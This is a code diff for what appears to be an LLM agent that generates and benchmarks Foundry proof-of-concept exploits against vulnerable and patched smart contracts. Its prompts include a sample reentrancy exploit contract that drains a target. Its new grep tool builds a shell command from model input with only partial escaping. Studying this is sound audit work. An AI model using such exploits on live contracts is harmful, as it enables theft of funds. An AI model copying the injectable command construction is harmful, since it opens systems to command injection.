- 3. **USE address() CASTS** — If you need a contract type, cast from address: \`ITargetContract(contractAddress)\`
145
- 4. **DEPLOY WITH low-level calls if needed** — If you cannot import the contract, use \`address(new bytes(code))\` or \`ITargetContract(deployedAddress)\`
146
- 5. **THE CONTRACT UNDER TEST IS AT A RELATIVE PATH** — If you must import it, use ONLY: \`import "../src/ContractName.sol"\` (the only safe import besides forge-std)
147
-
148
- ## TEMPLATE
149
- \`\`\`solidity
150
- // SPDX-License-Identifier: UNLICENSED
151
- pragma solidity ^0.8.0;
152
-
153
- import "forge-std/Test.sol";
154
-
155
- // Declare ONLY the functions you actually call:
156
- interface ITarget {
157
- function theVulnerableFunction(uint256 x) external;
158
- function someGetter() external view returns (uint256);
159
- }
160
-
161
- contract ExploitTest is Test {
162
- ITarget target;
163
- address constant ATTACKER = address(0xBEEF);
164
-
165
- function setUp() public {
166
- // Import only if absolutely needed — otherwise use the interface
167
- // target = ITarget(address(new RealContract(constructorArgs)));
168
- vm.deal(ATTACKER, 100 ether);
169
- }
170
-
171
- function test_Exploit() public {
172
- uint256 before = target.someGetter();
173
- vm.prank(ATTACKER);
174
- target.theVulnerableFunction(/* exploit args */);
175
- uint256 after_ = target.someGetter();
176
- assertGt(after_, before, "Vulnerability confirmed: value changed unexpectedly");
177
- }
178
- }
179
- \`\`\`
180
-
181
- Return the FULL corrected Solidity file in a \`\`\`solidity\`\`\` block. Use ONLY forge-std imports and inline interfaces.
182
- `.trim();
183
-
184
- // ==========================================
185
- // NEW TEMPLATE INJECTION ARCHITECTURE PROMPTS
186
- // ==========================================
187
-
188
- export const INFRASTRUCTURE_PROMPT = `You are a Smart Contract Testing Infrastructure Engineer. Your ONLY job is to create a compiling Foundry test template.
189
- DO NOT WRITE THE EXPLOIT.
190
-
191
- ## Rules
192
- 1. Create a contract named \`ExploitTest\` inheriting from \`Test\` (or the project's base test).
193
- 2. Write all necessary \`import\` statements using the provided Project Remappings and existing test examples. If you are unsure where a required struct or contract is defined, **USE YOUR TOOLS (searchCodebase, readFile)** to find it. DO NOT GUESS import paths!
194
- 3. Write ONLY the \`setUp()\` function. It must DEPLOY the target contract, fund the attacker, and prepare the environment.
195
- - CRITICAL: You MUST actually instantiate the target contract (e.g. \`target = new TargetContract(...)\`).
196
- - MANDATORY: The instance variable MUST be named \`target\`, and the very last line of \`setUp()\` MUST be: \`require(address(target) != address(0), "Target must be deployed");\`
197
- 4. Declare an EMPTY function named \`test_Exploit()\`. Leave the body exactly as: \`// INJECT_HACK\`
198
- 5. Output ONLY a single \`\`\`solidity ... \`\`\` block.
199
- 6. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) EXCEPT for the SPDX identifier and the // INJECT_HACK marker. Writing explanatory comments will cause compilation to fail!
200
-
201
- Target Contract Name: {TARGET_NAME}
202
- `.trim();
203
-
204
- export const INFRA_FIX_PROMPT = `The infrastructure template FAILED TO COMPILE OR EXECUTE.
205
- Your job is to fix the issues so it compiles and executes successfully.
206
-
207
- ## Errors / Logs:
208
- {ERROR_DETAILS}
209
-
210
- ## Rules
211
- - Fix missing files by adjusting import paths using the Remappings.
212
- - If an external dependency cannot be imported, declare a minimal interface for it in the same file.
213
- - If the target contract requires specific parameters, interfaces, or structs in its constructor or setup, **USE YOUR TOOLS (searchCodebase, readFile)** to find where those are defined in the project, and add the correct \`import\` statements. DO NOT GUESS import paths.
214
- - Keep the \`test_Exploit()\` function empty with exactly: \`// INJECT_HACK\`
215
- - The \`setUp()\` function MUST instantiate the target and end with: \`require(address(target) != address(0), "Target must be deployed");\`
216
- - Return the full corrected Solidity file in a \`\`\`solidity\`\`\` block.
217
- `.trim();
218
-
219
- export const EXPLOIT_INJECTION_PROMPT = `You are an expert Smart Contract Security Auditor.
220
- We have already prepared a perfectly compiling Foundry test environment (the Template) that deploys the contract.
221
-
222
-
223
- ## The Environment (DO NOT MODIFY OR RE-DECLARE)
224
- \`\`\`solidity
225
- {TEMPLATE_CODE}
226
- \`\`\`
227
-
228
- ## Rules
229
- 1. You MUST output the ENTIRE Solidity file, from the SPDX license to the end of the contract.
230
- 2. You MUST keep the \`setUp()\` function exactly as it is in the Template (including the target deployment and \`require\` checks).
231
- 3. If you need external structs or interfaces (e.g. for function parameters), you MUST **USE YOUR TOOLS (searchCodebase, readFile)** to find their exact file paths and add \`import\` statements at the top. DO NOT GUESS import paths! Alternatively, you can use low-level \`.call(abi.encodeWithSignature(...))\` to bypass struct definitions entirely.
232
- 4. Write your PoC logic INSIDE \`function test_Exploit() { ... }\`. Use the variables already declared in the Template.
233
- 5. The PoC MUST conclude with a strict Foundry assertion (assertEq, assertGt, etc.) that proves the vulnerability exists.
234
- 6. NEVER redefine the target contract inside the test file or use \`try/catch\`.
235
- 7. STRICT RULE: DO NOT WRITE ANY COMMENTS (like // or /*) ANYWHERE in the code. Writing explanatory or placeholder comments is strictly forbidden and will be rejected!
236
- 8. CHAIN OF THOUGHT: Before writing the code, you MUST write your step-by-step reasoning inside \`<thinking>...\</thinking>\` tags. Think about how to trigger the vulnerability without using Mocks and without writing comments.
237
- 9. Output ONLY your full test file enclosed in a \`\`\`solidity ... \`\`\` block immediately after the thinking tags.
238
-
239
- ## Few-Shot Example (Perfect Exploit Formatting)
240
- <thinking>
241
- I need to exploit a reentrancy. I cannot use comments. I will create a MaliciousReceiver contract inside the same file but OUTSIDE the ExploitTest contract. I will not use Mock contracts.
242
- </thinking>
243
- \`\`\`solidity
244
- // SPDX-License-Identifier: UNLICENSED
245
- pragma solidity ^0.8.0;
246
-
247
- import "forge-std/Test.sol";
248
- import "../src/Target.sol";
249
-
250
- contract MaliciousReceiver {
251
- Target target;
252
- constructor(Target _target) { target = _target; }
253
- receive() external payable {
254
- if (address(target).balance > 0) {
255
- target.withdraw(1 ether);
256
- }
257
- }
258
- }
259
-
260
- contract ExploitTest is Test {
261
- Target target;
262
- address constant ATTACKER = address(0xBEEF);
263
-
264
- function setUp() public {
265
- target = new Target();
266
- vm.deal(ATTACKER, 100 ether);
267
- require(address(target) != address(0), "Target must be deployed");
268
- }
269
-
270
- function test_Exploit() public {
271
- vm.startPrank(ATTACKER);
272
- MaliciousReceiver receiver = new MaliciousReceiver(target);
273
- target.deposit{value: 1 ether}();
274
- target.withdraw(1 ether);
275
- vm.stopPrank();
276
- assertGt(ATTACKER.balance, 100 ether);
277
- }
278
- }
279
- \`\`\`
280
- `.trim();
281
-
282
- export const EXPLOIT_FIX_PROMPT = `The injected PoC FAILED during execution or validation.
283
-
284
- ## Execution Error / Logs:
285
- {ERROR_DETAILS}
286
-
287
- ## Previous PoC Body:
288
- \`\`\`solidity
289
- {EXPLOIT_BODY}
290
- \`\`\`
291
-
292
- ## Rules
293
- - Analyze the execution failure and rewrite the full PoC file.
294
- - If you had "Identifier not found" or "Source not found" errors, **USE YOUR TOOLS (searchCodebase, readFile)** to find the exact file and add the correct new imports, or use low-level calls. DO NOT GUESS import paths!
295
- - CHAIN OF THOUGHT: Write your reasoning inside \`<thinking>...\</thinking>\` tags BEFORE the code.
296
- - Output the FULL Solidity file enclosed in a \`\`\`solidity\`\`\` block.
297
- `.trim();
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/state.ts CHANGED
@@ -1,4 +1,5 @@
1
  import { Annotation } from "@langchain/langgraph";
 
2
  import { VulnerabilityReport, OracleContext } from "./types.js";
3
 
4
  export const PoCStateAnnotation = Annotation.Root({
@@ -24,6 +25,11 @@ export const PoCStateAnnotation = Annotation.Root({
24
  reducer: (_, y) => y, // overwrite — only the hack logic
25
  }),
26
 
 
 
 
 
 
27
  infrastructurePhase: Annotation<boolean>({
28
  default: () => true,
29
  reducer: (_, y) => y, // overwrite — true while fixing imports
@@ -39,6 +45,21 @@ export const PoCStateAnnotation = Annotation.Root({
39
  reducer: (x, y) => x.concat(y), // append — never lose previous logs
40
  }),
41
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
42
  lastError: Annotation<string | null>({
43
  default: () => null,
44
  reducer: (_, y) => y, // overwrite — last error analysis
 
1
  import { Annotation } from "@langchain/langgraph";
2
+ import { BaseMessage } from "@langchain/core/messages";
3
  import { VulnerabilityReport, OracleContext } from "./types.js";
4
 
5
  export const PoCStateAnnotation = Annotation.Root({
 
25
  reducer: (_, y) => y, // overwrite — only the hack logic
26
  }),
27
 
28
+ vulnerabilityCategory: Annotation<string>({
29
+ default: () => "",
30
+ reducer: (_, y) => y, // overwrite
31
+ }),
32
+
33
  infrastructurePhase: Annotation<boolean>({
34
  default: () => true,
35
  reducer: (_, y) => y, // overwrite — true while fixing imports
 
45
  reducer: (x, y) => x.concat(y), // append — never lose previous logs
46
  }),
47
 
48
+ messages: Annotation<BaseMessage[]>({
49
+ default: () => [],
50
+ reducer: (x, y) => x.concat(y),
51
+ }),
52
+
53
+ toolCallCount: Annotation<number>({
54
+ default: () => 0,
55
+ reducer: (x, y) => x + y,
56
+ }),
57
+
58
+ totalCost: Annotation<number>({
59
+ default: () => 0,
60
+ reducer: (x, y) => x + y,
61
+ }),
62
+
63
  lastError: Annotation<string | null>({
64
  default: () => null,
65
  reducer: (_, y) => y, // overwrite — last error analysis
src/agents/tester/tools.ts ADDED
@@ -0,0 +1,252 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { tool } from "@langchain/core/tools";
2
+ import { z } from "zod";
3
+ import fs from "fs/promises";
4
+ import path from "path";
5
+ import { exec } from "child_process";
6
+ import { promisify } from "util";
7
+
8
+ const execAsync = promisify(exec);
9
+
10
+ // ---------------------------------------------------------------------------
11
+ // Exploration Tools (Basic Tools)
12
+ // ---------------------------------------------------------------------------
13
+
14
+ export const readFileTool = tool(
15
+ async ({ filePath }, config) => {
16
+ try {
17
+ // The sandboxDir is passed in via the config.configurable object
18
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
19
+ const absolutePath = path.resolve(sandboxDir, filePath);
20
+
21
+ // Prevent directory traversal outside sandbox
22
+ if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
23
+ return "Error: Access denied. Cannot read files outside the project sandbox.";
24
+ }
25
+
26
+ const content = await fs.readFile(absolutePath, "utf-8");
27
+ return content;
28
+ } catch (e: any) {
29
+ return `Error reading file: ${e.message}`;
30
+ }
31
+ },
32
+ {
33
+ name: "read_file",
34
+ description: "Reads the contents of a specific file in the project.",
35
+ schema: z.object({
36
+ filePath: z.string().describe("The relative path to the file to read (e.g. 'src/Vault.sol')"),
37
+ }),
38
+ }
39
+ );
40
+
41
+ export const listDirTool = tool(
42
+ async ({ dirPath }, config) => {
43
+ try {
44
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
45
+ const absolutePath = path.resolve(sandboxDir, dirPath || ".");
46
+
47
+ if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
48
+ return "Error: Access denied. Cannot list directories outside the project sandbox.";
49
+ }
50
+
51
+ const files = await fs.readdir(absolutePath, { withFileTypes: true });
52
+ return files.map(f => `${f.isDirectory() ? '[DIR]' : '[FILE]'} ${f.name}`).join("\n");
53
+ } catch (e: any) {
54
+ return `Error listing directory: ${e.message}`;
55
+ }
56
+ },
57
+ {
58
+ name: "list_dir",
59
+ description: "Lists files and directories in a given path to understand project structure.",
60
+ schema: z.object({
61
+ dirPath: z.string().optional().describe("The relative path to the directory (e.g. 'src' or 'test/mocks'). Defaults to root."),
62
+ }),
63
+ }
64
+ );
65
+
66
+ export const grepSearchTool = tool(
67
+ async ({ query, dirPath }, config) => {
68
+ try {
69
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
70
+ const targetDir = path.resolve(sandboxDir, dirPath || ".");
71
+
72
+ // Use grep -rnw to search recursively
73
+ // Note: In a real production system, use a safe regex/grep library or escape properly.
74
+ const cmd = `grep -rn "${query.replace(/"/g, '\\"')}" ${targetDir} | head -n 50`;
75
+
76
+ const { stdout } = await execAsync(cmd);
77
+ return stdout || "No matches found.";
78
+ } catch (e: any) {
79
+ // grep returns exit code 1 if no matches are found
80
+ if (e.code === 1) return "No matches found.";
81
+ return `Error executing search: ${e.message}`;
82
+ }
83
+ },
84
+ {
85
+ name: "grep_search",
86
+ description: "Searches the codebase recursively for specific symbols, variable names, or interfaces.",
87
+ schema: z.object({
88
+ query: z.string().describe("The text or symbol to search for (e.g. 'interface IERC20' or 'withdraw(')"),
89
+ dirPath: z.string().optional().describe("The relative directory to search in (e.g. 'src'). Defaults to root."),
90
+ }),
91
+ }
92
+ );
93
+
94
+ // ---------------------------------------------------------------------------
95
+ // Modification Tools (File Editing)
96
+ // ---------------------------------------------------------------------------
97
+
98
+ export const writeFileTool = tool(
99
+ async ({ filePath, content }, config) => {
100
+ try {
101
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
102
+ const absolutePath = path.resolve(sandboxDir, filePath);
103
+
104
+ if (!absolutePath.startsWith(path.resolve(sandboxDir))) {
105
+ return "Error: Access denied. Cannot write files outside the project sandbox.";
106
+ }
107
+
108
+ // Ensure directory exists
109
+ await fs.mkdir(path.dirname(absolutePath), { recursive: true });
110
+ await fs.writeFile(absolutePath, content, "utf-8");
111
+
112
+ return `Successfully wrote to ${filePath}`;
113
+ } catch (e: any) {
114
+ return `Error writing file: ${e.message}`;
115
+ }
116
+ },
117
+ {
118
+ name: "write_file",
119
+ description: "Writes or overwrites a file with the provided content. Primarily used to write 'test/Exploit.t.sol'.",
120
+ schema: z.object({
121
+ filePath: z.string().describe("The relative path to write to (e.g. 'test/Exploit.t.sol')"),
122
+ content: z.string().describe("The full content of the file to write."),
123
+ }),
124
+ }
125
+ );
126
+
127
+ // ---------------------------------------------------------------------------
128
+ // Smart Contract Tools (Execution Feedback)
129
+ // ---------------------------------------------------------------------------
130
+
131
+ export const smartContractCompileTool = tool(
132
+ async (_, config) => {
133
+ try {
134
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
135
+
136
+ const { stdout, stderr } = await execAsync(
137
+ "forge build",
138
+ {
139
+ cwd: sandboxDir,
140
+ timeout: 30000,
141
+ env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` }
142
+ }
143
+ );
144
+
145
+ const out = stdout ? String(stdout).slice(-15000) : "";
146
+ const errOut = stderr ? String(stderr).slice(-15000) : "";
147
+ return `Compilation Successful:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
148
+ } catch (err: any) {
149
+ if (err.killed || err.signal === "SIGTERM") {
150
+ return "Error: Compilation timed out after 30s.";
151
+ }
152
+ const out = err.stdout ? String(err.stdout).slice(-15000) : "";
153
+ const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
154
+ return `Compilation Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
155
+ }
156
+ },
157
+ {
158
+ name: "smart_contract_compile",
159
+ description: "Runs 'forge build' to compile the smart contracts and tests. Returns stdout and stderr. Use this to check for syntax errors before testing.",
160
+ schema: z.object({}),
161
+ }
162
+ );
163
+
164
+ export const smartContractTestTool = tool(
165
+ async ({ testMatch }, config) => {
166
+ try {
167
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
168
+ const matchArg = testMatch ? `--match-contract ${testMatch}` : "";
169
+
170
+ const { stdout, stderr } = await execAsync(
171
+ `forge test ${matchArg} -vvvv`,
172
+ {
173
+ cwd: sandboxDir,
174
+ timeout: 60000,
175
+ env: { ...process.env, PATH: `${process.env.HOME}/.foundry/bin:${process.env.PATH}` }
176
+ }
177
+ );
178
+
179
+ const out = stdout ? String(stdout).slice(-15000) : "";
180
+ const errOut = stderr ? String(stderr).slice(-15000) : "";
181
+ return `Test Passed Successfully!\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
182
+ } catch (err: any) {
183
+ if (err.killed || err.signal === "SIGTERM") {
184
+ return "Error: Test execution timed out after 60s.";
185
+ }
186
+ const out = err.stdout ? String(err.stdout).slice(-15000) : "";
187
+ const errOut = err.stderr ? String(err.stderr).slice(-15000) : "";
188
+ return `Test Failed:\nSTDOUT:\n${out}\nSTDERR:\n${errOut}`;
189
+ }
190
+ },
191
+ {
192
+ name: "smart_contract_test",
193
+ description: "Runs 'forge test -vvvv' to execute the PoC exploit. Returns the execution traces and assertions. Crucial for verifying if the exploit works or why it reverted.",
194
+ schema: z.object({
195
+ testMatch: z.string().optional().describe("Optional test contract name to match (e.g. 'ExploitTest')"),
196
+ }),
197
+ }
198
+ );
199
+
200
+ // ---------------------------------------------------------------------------
201
+ // Planning Tool
202
+ // ---------------------------------------------------------------------------
203
+
204
+ export const todoPlannerTool = tool(
205
+ async ({ action, task }, config) => {
206
+ try {
207
+ const sandboxDir = config?.configurable?.sandboxDir || process.cwd();
208
+ const todoPath = path.resolve(sandboxDir, "todo_plan.txt");
209
+
210
+ if (action === "read") {
211
+ try {
212
+ return await fs.readFile(todoPath, "utf-8");
213
+ } catch {
214
+ return "No tasks found. Todo list is empty.";
215
+ }
216
+ }
217
+
218
+ if (action === "add" && task) {
219
+ await fs.appendFile(todoPath, `- [ ] ${task}\n`);
220
+ return `Added task: ${task}`;
221
+ }
222
+
223
+ if (action === "update" && task) {
224
+ // Overwrite with the full new state provided by the LLM
225
+ await fs.writeFile(todoPath, task);
226
+ return "Todo list updated.";
227
+ }
228
+
229
+ return "Invalid action.";
230
+ } catch (e: any) {
231
+ return `Error with planner: ${e.message}`;
232
+ }
233
+ },
234
+ {
235
+ name: "todo_planner",
236
+ description: "A lightweight planning utility to organize tasks. Actions: 'read' to view tasks, 'add' to append a task, 'update' to overwrite the whole list with new state.",
237
+ schema: z.object({
238
+ action: z.enum(["read", "add", "update"]).describe("The action to perform."),
239
+ task: z.string().optional().describe("The task text to add, or the full new list to update."),
240
+ }),
241
+ }
242
+ );
243
+
244
+ export const pocoTools = [
245
+ readFileTool,
246
+ listDirTool,
247
+ grepSearchTool,
248
+ writeFileTool,
249
+ smartContractCompileTool,
250
+ smartContractTestTool,
251
+ todoPlannerTool
252
+ ];
src/agents/tester/tools/codebaseTools.ts DELETED
@@ -1,65 +0,0 @@
1
- import { tool } from "@langchain/core/tools";
2
- import { z } from "zod";
3
- import { exec } from "child_process";
4
- import { promisify } from "util";
5
- import fs from "fs/promises";
6
- import path from "path";
7
-
8
- const execAsync = promisify(exec);
9
-
10
- export const createSearchCodebaseTool = (sandboxDir: string) => {
11
- return tool(
12
- async ({ query }) => {
13
- try {
14
- // Find .sol files containing the query in the sandboxDir
15
- const { stdout } = await execAsync(`grep -rn --include="*.sol" "${query}" .`, { cwd: sandboxDir });
16
- const lines = stdout.split("\n").filter(l => l.trim() !== "");
17
- if (lines.length === 0) return "No results found.";
18
-
19
- const preview = lines.slice(0, 30);
20
- const truncatedMsg = lines.length > 30 ? `\n...and ${lines.length - 30} more results.` : "";
21
- return `Found ${lines.length} results. Showing first 30:\n${preview.join("\n")}${truncatedMsg}`;
22
- } catch (e: any) {
23
- if (e.code === 1) return "No results found."; // grep exit code 1 means no match
24
- return `Error searching codebase: ${e.message}`;
25
- }
26
- },
27
- {
28
- name: "searchCodebase",
29
- description: "Searches the codebase for a specific string (like a struct, contract name, or interface) and returns the file paths and matching lines.",
30
- schema: z.object({
31
- query: z.string().describe("The exact string to search for. Keep it simple, e.g. 'LiquidateWithReplacementParams' or 'SizeFactory'"),
32
- }),
33
- }
34
- );
35
- };
36
-
37
- export const createReadFileTool = (sandboxDir: string) => {
38
- return tool(
39
- async ({ filePath }) => {
40
- try {
41
- const fullPath = path.resolve(sandboxDir, filePath);
42
- // Security check to avoid path traversal
43
- if (!fullPath.startsWith(path.resolve(sandboxDir))) {
44
- return "Error: Cannot read files outside the sandbox directory.";
45
- }
46
- const content = await fs.readFile(fullPath, "utf-8");
47
-
48
- // Truncate if extremely large to save context window, though Solidity files are usually small enough
49
- if (content.length > 20000) {
50
- return content.slice(0, 20000) + "\n\n... [TRUNCATED] File too large.";
51
- }
52
- return content;
53
- } catch (e: any) {
54
- return `Error reading file: ${e.message}`;
55
- }
56
- },
57
- {
58
- name: "readFile",
59
- description: "Reads the content of a specific file. Pass the relative file path returned by searchCodebase.",
60
- schema: z.object({
61
- filePath: z.string().describe("The relative path of the file to read (e.g. 'src/Size.sol')"),
62
- }),
63
- }
64
- );
65
- };
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
src/agents/tester/utils/extractSolidity.ts CHANGED
@@ -1,16 +1,28 @@
1
  export function extractSolidity(llmOutput: string): string {
2
- // Caso 1: bloco ```solidity ... ``` padrão
3
- const match = llmOutput.match(/```solidity\s*([\s\S]*?)```/);
4
- if (match) return match[1].trim();
5
 
6
- // Caso 2: LLM omitiu backticks mas começa com pragma/SPDX
7
- const trimmed = llmOutput.trim();
8
- if (trimmed.startsWith("// SPDX") || trimmed.startsWith("pragma")) {
9
- return trimmed;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
10
  }
11
 
12
- // Caso 3: output inválido — lançar erro descritivo
13
  throw new Error(
14
- `LLM output não contém bloco Solidity válido. Preview: "${llmOutput.slice(0, 200)}"`
15
  );
16
  }
 
1
  export function extractSolidity(llmOutput: string): string {
2
+ let cleaned = llmOutput.trim();
 
 
3
 
4
+ // Bulletproof extraction: find SPDX or pragma and slice from there
5
+ const spdxIndex = cleaned.indexOf("// SPDX");
6
+ const pragmaIndex = cleaned.indexOf("pragma solidity");
7
+
8
+ let startIndex = -1;
9
+ if (spdxIndex !== -1 && pragmaIndex !== -1) {
10
+ startIndex = Math.min(spdxIndex, pragmaIndex);
11
+ } else if (spdxIndex !== -1) {
12
+ startIndex = spdxIndex;
13
+ } else if (pragmaIndex !== -1) {
14
+ startIndex = pragmaIndex;
15
+ }
16
+
17
+ if (startIndex !== -1) {
18
+ // Slice from start index
19
+ cleaned = cleaned.slice(startIndex);
20
+ // Remove trailing backticks
21
+ cleaned = cleaned.replace(/\n?```[a-zA-Z]*\s*$/, "");
22
+ return cleaned.trim();
23
  }
24
 
 
25
  throw new Error(
26
+ `LLM output não contém bloco Solidity válido (faltou SPDX ou pragma). Preview: "${cleaned.slice(0, 200)}"`
27
  );
28
  }
src/agents/tester/utils/parserUtils.ts CHANGED
@@ -14,7 +14,7 @@ export function extractConstructor(sourceCode: string, contractName: string): Co
14
  ContractDefinition: (node) => {
15
  if (node.name === contractName) {
16
  for (const part of node.subNodes) {
17
- if (part.type === "FunctionDefinition" && part.isConstructor) {
18
  found = true;
19
  if (part.range) {
20
  constructorParams = sourceCode.slice(part.range[0], part.range[1]).split("{")[0].trim();
 
14
  ContractDefinition: (node) => {
15
  if (node.name === contractName) {
16
  for (const part of node.subNodes) {
17
+ if (part.type === "FunctionDefinition" && (part as any).isConstructor) {
18
  found = true;
19
  if (part.range) {
20
  constructorParams = sourceCode.slice(part.range[0], part.range[1]).split("{")[0].trim();
src/benchmark/runFinalEvaluation.ts CHANGED
@@ -15,8 +15,11 @@ async function runEvaluation() {
15
  const metadata = JSON.parse(metadataStr);
16
  const cases = Object.keys(metadata);
17
 
18
- // Limitado a 1 projeto (054 - Cally) para observação empírica de simplicidade
19
- const targetCases = ["054"];
 
 
 
20
  console.log(`Iniciando avaliação final para ${targetCases.length} projetos...`);
21
 
22
  // Prepara o arquivo CSV
@@ -33,7 +36,9 @@ async function runEvaluation() {
33
  "B_Exploit_Iters",
34
  "B_Final_Error",
35
  "PoC_Code",
36
- "Patch_Diff"
 
 
37
  ];
38
 
39
  await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
@@ -55,7 +60,7 @@ async function runEvaluation() {
55
 
56
  if (!setupInfo) {
57
  console.log(`[${caseId}] Falha crítica no setup inicial.`);
58
- appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", ""]);
59
  continue;
60
  }
61
 
@@ -98,15 +103,21 @@ async function runEvaluation() {
98
  patchDiff
99
  };
100
 
101
- const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as PoCResult;
102
  let reproducible = resultA.status === "success";
103
  let specific = false;
 
 
104
  let pocCodeStr = "";
 
 
 
 
 
105
 
106
  // Se reproduziu, testa a especificidade aplicando o patch
107
  if (reproducible) {
108
  console.log(`\n[CENÁRIO A] Reproduzível! PoC gerado com sucesso. Testando especificidade no patch...`);
109
- pocCodeStr = resultA.pocCode || resultA.solidityCode;
110
 
111
  const patchApplied = await applyPatchSmart(caseId, sandboxDir);
112
  if (patchApplied) {
@@ -127,6 +138,7 @@ async function runEvaluation() {
127
  }
128
 
129
  const lastErrorA = (resultA as any).lastError || (resultA.status === "success" ? "" : "TIMEOUT");
 
130
 
131
  // ==========================================
132
  // CENÁRIO B: Teste de Falso Positivo (Patch)
@@ -139,6 +151,7 @@ async function runEvaluation() {
139
  let falsePositiveRejected = false;
140
  let resultB: Partial<PoCResult> = { iterations: 0, status: "failed" };
141
  let lastErrorB = "";
 
142
 
143
  if (setupInfoB) {
144
  // Aplica o patch ANTES de chamar o agente (tornando o código seguro)
@@ -159,7 +172,7 @@ async function runEvaluation() {
159
  patchDiff: undefined // Oculta o patch diff do LLM para este cenário
160
  };
161
 
162
- resultB = await testerAgent.invoke({ report: reportB }, { recursionLimit: 100 }) as PoCResult;
163
 
164
  // Se falhou em gerar exploit, REJEITOU com sucesso o falso positivo!
165
  if (resultB.status !== "success") {
@@ -169,6 +182,7 @@ async function runEvaluation() {
169
  console.log(`\n[CENÁRIO B] ALUCINAÇÃO CRÍTICA! Agente hackeou um código que já estava corrigido.`);
170
  }
171
  lastErrorB = (resultB as any).lastError || (resultB.status === "success" ? "" : "TIMEOUT");
 
172
  }
173
  }
174
 
@@ -187,8 +201,10 @@ async function runEvaluation() {
187
  (resultB as any).infraIterations || 0,
188
  (resultB as any).exploitIterations || 0,
189
  lastErrorB,
190
- reproducible ? escapeCsv(pocCodeStr) : "",
191
- reproducible ? escapeCsv(patchDiff) : ""
 
 
192
  ]);
193
 
194
  console.log(`[${caseId}] Avaliação concluída em ${totalTimeSec}s. Salvo no CSV.`);
 
15
  const metadata = JSON.parse(metadataStr);
16
  const cases = Object.keys(metadata);
17
 
18
+ // Configurações Globais
19
+ const MAX_CASES = 1;
20
+ const TIMEOUT_MS = 3 * 60 * 1000; // 3 minutos por caso
21
+
22
+ const targetCases = cases.slice(0, MAX_CASES);
23
  console.log(`Iniciando avaliação final para ${targetCases.length} projetos...`);
24
 
25
  // Prepara o arquivo CSV
 
36
  "B_Exploit_Iters",
37
  "B_Final_Error",
38
  "PoC_Code",
39
+ "Patch_Diff",
40
+ "A_Execution_Logs",
41
+ "B_Execution_Logs"
42
  ];
43
 
44
  await fs.mkdir(path.join(process.cwd(), "data"), { recursive: true });
 
60
 
61
  if (!setupInfo) {
62
  console.log(`[${caseId}] Falha crítica no setup inicial.`);
63
+ appendCsvRow([caseId, "0", "FALSE", "FALSE", "FALSE", "0", "SETUP_FAILED", "0", "", "", "", "", ""]);
64
  continue;
65
  }
66
 
 
103
  patchDiff
104
  };
105
 
106
+ const resultA = await testerAgent.invoke({ report: reportA }, { recursionLimit: 100 }) as any;
107
  let reproducible = resultA.status === "success";
108
  let specific = false;
109
+
110
+ // Ler o PoC gerado diretamente do sandbox, já que o ReAct agent usa write_file
111
  let pocCodeStr = "";
112
+ try {
113
+ pocCodeStr = await fs.readFile(path.join(sandboxDir, "test", "Exploit.t.sol"), "utf8");
114
+ } catch {
115
+ pocCodeStr = resultA.pocCode || "";
116
+ }
117
 
118
